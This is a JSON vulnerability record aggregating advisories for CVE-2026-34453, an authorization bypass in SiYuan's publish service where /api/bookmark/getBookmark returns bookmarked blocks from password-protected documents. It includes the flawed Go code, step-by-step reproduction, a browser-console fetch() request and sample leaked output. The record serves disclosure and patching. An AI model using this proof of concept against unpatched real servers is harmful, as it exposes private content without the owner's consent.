{"id":"CVE-2026-34453","aliases":["CVE-2026-34453","GHSA-c77m-r996-jr3q","GO-2026-5318"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan: Broken access control in /api/bookmark/getBookmark allows unauthenticated publish visitors to read password-protected bookmarked content","summary":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. This issue has been patched in version 3.6.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.\n\n### Details\nThe issue is caused by an authorization bypass in the bookmark API path used by the publish service.\n\nIn `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:\n```go\nif model.IsReadOnlyRoleContext(c) {\n    publishAccess := model.GetPublishAccess()\n    tempBookmarks := &model.Bookmarks{}\n    for _, bookmark := range *bookmarks {\n        bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)\n```\nIn `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:\n```go\nif CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&\n   (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n    ret = append(ret, block)\n}\n```\nThis bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content.\n\nThe publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.\n\nI reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.\n\n### PoC\n\n1. Start SiYuan with the publish service enabled.\n2. Create a new document, for example publish-bookmark-poc.\n3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.\n4. Open the block attributes and assign a bookmark label, for example leak-test.\n5. In Doc Tree, enable Publish Access Control and set the document to Protected.\n6. Set a password for that document, for example test123, and confirm the change.\n7. Open the publish service in a fresh incognito/private browser session.\n8. Verify that opening the protected document through the publish UI requires the password.\n9. Without entering the password, open the browser developer console and run:\n```js\nfetch(\"/api/bookmark/getBookmark\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: \"{}\"\n})\n  .then(r => r.json())\n  .then(x => console.log(JSON.stringify(x, null, 2)));\n```\n10. Observe that the response contains a bookmark entry such as:\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": [\n    {\n      \"name\": \"leak-test\",\n      \"blocks\": [\n        {\n          \"box\": \"20260327012540-ppsxc5j\",\n          \"path\": \"/20260327012543-acu1mdn.sy\",\n          \"hPath\": \"/publish-bookmark-poc\",\n          \"id\": \"20260327012543-1y6djn1\",\n          \"rootID\": \"20260327012543-acu1mdn\",\n          \"parentID\": \"20260327012543-acu1mdn\",\n          \"name\": \"\",\n          \"alias\": \"\",\n          \"memo\": \"\",\n          \"tag\": \"\",\n          \"content\": \"​<span data-type=\\\"code\\\">​BOOKMARK_SECRET_123</span>​\",\n          \"fcontent\": \"\",\n          \"markdown\": \"`BOOKMARK_SECRET_123`\",\n          \"folded\": false,\n          \"type\": \"NodeParagraph\",\n          \"subType\": \"\",\n          \"refText\": \"\",\n          \"refs\": null,\n          \"defID\": \"\",\n          \"defPath\": \"\",\n          \"ial\": {\n            \"bookmark\": \"leak-test\",\n            \"id\": \"20260327012543-1y6djn1\",\n            \"updated\": \"20260327013116\"\n          },\n          \"children\": null,\n          \"depth\": 1,\n          \"count\": 0,\n          \"refCount\": 0,\n          \"sort\": 10,\n          \"created\": \"\",\n          \"updated\": \"\",\n          \"riffCardID\": \"\",\n          \"riffCard\": null\n        }\n      ],\n      \"type\": \"bookmark\",\n      \"depth\": 0,\n      \"count\": 1\n    }\n  ]\n}\n```\nActual result:\n`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.\n\n### Impact\nAn unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark in github.com/siyuan-note/siyuan/kernel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2.","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.2, el servicio de publicación expone bloques marcados de documentos protegidos con contraseña a visitantes no autenticados. En modo de publicación/solo lectura, /API/bookmark/getBookmark filtra los resultados de los marcadores al llamar a FilterBlocksByPublishAccess(nil, ...). Debido a que el filtro trata un contexto nulo como autorizado, omite la verificación de la contraseña de publicación y devuelve bloques marcados de documentos configurados como Protegidos. Como resultado, cualquiera que pueda acceder al servicio de publicación puede recuperar contenido de documentos protegidos sin proporcionar la contraseña requerida, siempre y cuando al menos un bloque en el documento esté marcado. Este problema ha sido parcheado en la versión 3.6.2.","source":"nvd"}],"published":"2026-03-31T21:43:32.138Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 3.6.2","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.6.2"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"},{"ranges":[{"status":"affected","fixed":"3.6.2"}],"vendor":"b3log","product":"siyuan","cpe":"cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/siyuan-note/siyuan/issues/17246","tags":["issue-tracking","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34453","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-04-01T15:30:20.251Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34453","url":"https://www.cve.org/CVERecord?id=CVE-2026-34453","licence":"CVE Terms of Use","modified":"2026-04-01T15:53:02.043Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c77m-r996-jr3q","url":"https://github.com/advisories/GHSA-c77m-r996-jr3q","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:09.070Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5318","url":"https://pkg.go.dev/vuln/GO-2026-5318","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:28.752Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34453","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:17.648Z","epss":{"score":0.0133,"percentile":0.7188,"date":"2026-12-01T12:00:22.000Z"}}